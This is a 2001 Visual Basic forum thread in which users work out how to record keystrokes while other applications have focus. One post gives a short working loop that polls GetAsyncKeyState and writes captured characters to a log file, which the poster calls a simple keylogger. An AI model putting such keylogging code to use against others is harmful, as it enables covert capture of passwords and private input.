|
-
Jul 31st, 2001, 01:06 PM
#1
Thread Starter
Hyperactive Member
Key Logging
How could I make an app that, even when it doesn't have focus, catches all keys pressed? For example, when the user is playing a game like Counter Strike, he presses the A button on the keyboard, and in the app, Text1.SelText = KeyPressed... get it? Thanks.
[vbcode]
' comment
Rem remark
[/vbcode]
-
Jul 31st, 2001, 01:13 PM
#2
Member
-
Jul 31st, 2001, 01:16 PM
#3
Thread Starter
Hyperactive Member
Yeah I saw that but it returns some unwanted keys in Keys.log
Any other ideas?
[vbcode]
' comment
Rem remark
[/vbcode]
-
Jul 31st, 2001, 03:02 PM
#4
Addicted Member
Change the code a bit.
For i = 3 To 255
That's to check which ascii key it is. Most of the keyboard keys are 32 To 126
For i = 32 To 126
Debug.Print Chr(i)
And that's how to get rid of unnecessary keys.
-
Jul 31st, 2001, 03:05 PM
#5
Hyperactive Member
Use the "GetAsyncKeyState" API call... it's not the greatest but works.
Code:
Public Declare Function GetAsyncKeyState Lib "user32.dll" (ByVal vKey As Long) As Integer
-
Jul 31st, 2001, 04:55 PM
#6
Addicted Member
Here's code to use:
Code:
Do
For Key = 0 To 255
If GetAsyncKeyState(Key) <> 0 Then
If Key >= 32 And Key <= 126 Then
Print #1, Chr(Key)
End If
End If
Next Key
DoEvents
Sleep 100
Loop
That is a very simple keylogger. The only problem I get with that, is when it writes the character to the file, it doesn't write it continuously, it writes each character on a seperate line. Anyone know how to fix this? Also, would one go about checking for an {enter} key under ascii code 13 or 13 and 10 (13 is CR, 10 is LF)
Example:
H
i
T
h
i
s
I
s
a
n
e
x
a
m
p
l
e
-
Jul 31st, 2001, 05:01 PM
#7
very, very simple solution. Just add a semicolon to the end of this line:
Print #1, Chr(Key)
..so that it looks like this:
Print #1, Chr(Key);
-
Jul 31st, 2001, 05:15 PM
#8
Addicted Member
Doh!
I should've remembered that. Now what about the advanced keys? Like Down(80) Up(72) Left(75) Right(77) F1-F10(0&59-0&68) and such...
Posting Permissions
- You may not post new threads
- You may not post replies
- You may not post attachments
- You may not edit your posts
-
Forum Rules
|
Click Here to Expand Forum to Full Width
|